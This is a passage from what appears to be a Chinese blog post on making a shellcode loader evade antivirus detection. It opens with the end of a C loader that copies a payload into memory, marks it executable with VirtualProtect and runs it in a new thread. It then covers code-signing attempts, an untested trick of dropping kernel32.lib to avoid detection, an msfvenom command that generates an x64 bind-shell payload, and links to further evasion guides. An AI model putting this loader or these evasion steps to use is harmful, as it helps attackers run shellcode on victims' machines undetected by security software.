	RtlMoveMemory(exec_mem, payload, payload_len);

	// 使用VirtualProtect添加执行权限
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// 如果返回正常,创建线程执行shellcode
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}

	return 0;
}

请添加图片描述

hash-sha256 :d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e

VT : VirusTotal - File - d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e

签名

MakeCert.exe

C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>MakeCert.exe
Error: Please either specify the outputCertificateFile or -ss option
Usage: MakeCert [ basic|extended options] [outputCertificateFile]
Basic Options
 -sk  <keyName>      Subject's key container name; To be created if not present
 -pe                 Mark generated private key as exportable
 -ss  <store>        Subject's certificate store name that stores the output
                     certificate
 -sr  <location>     Subject's certificate store location.
                        <CurrentUser|LocalMachine>.  Default to 'CurrentUser'
 -#   <number>       Serial Number from 1 to 2^31-1.  Default to be unique
 -$   <authority>    The signing authority of the certificate
                        <individual|commercial>
 -n   <X509name>     Certificate subject X500 name (eg: CN=Fred Dews)
 -?                  Return a list of basic options
 -!                  Return a list of extended options

signtool.exe

C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>signtool.exe
SignTool Error: A required parameter is missing.
Usage: signtool <command> [options]

  Valid commands:
    sign       --  Sign files using an embedded signature.
    timestamp  --  Timestamp previously-signed files.
    verify     --  Verify embedded or catalog signatures.
    catdb      --  Modify a catalog database.
    remove     --  Remove embedded signature(s) or reduce the size of an
                   embedded signed file.

For help on a specific command, enter "signtool <command> /?"

makecert.exe生成证书失败,暂未复现

删除链接库

在用Visual C ++项目编译和链接属性时,我发现,如果从Linker选项中删除其他依赖项(尤其是kernel32.lib)时,某些反恶意软件引擎会停止把已生成的可执行文件标记为恶意。有趣的是,由于kernel32.lib静态库在编译后仍会被静态链接,因为可执行文件需要知道基本API函数的位置(源自kernel32.dll)。

暂未复现

切换到x64环境

生成x64捆绑shell有效载荷,并针对VirusTotal进行检查:

msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw

参考链接:

msf生成sheelcode:https://www.cnblogs.com/henry666/p/17428579.html
msf生成sheelcode:https://www.cnblogs.com/clever-universe/p/8691365.html
msf生成sheelcode&监听执行上线:https://blog.csdn.net/qq_55202378/article/details/126516851
C++静态绕过检测方法汇总:https://www.freebuf.com/articles/system/227463.html
数字签名:https://www.cnblogs.com/Jimmy-X-MyCODE/p/12607756.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sec0nd_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值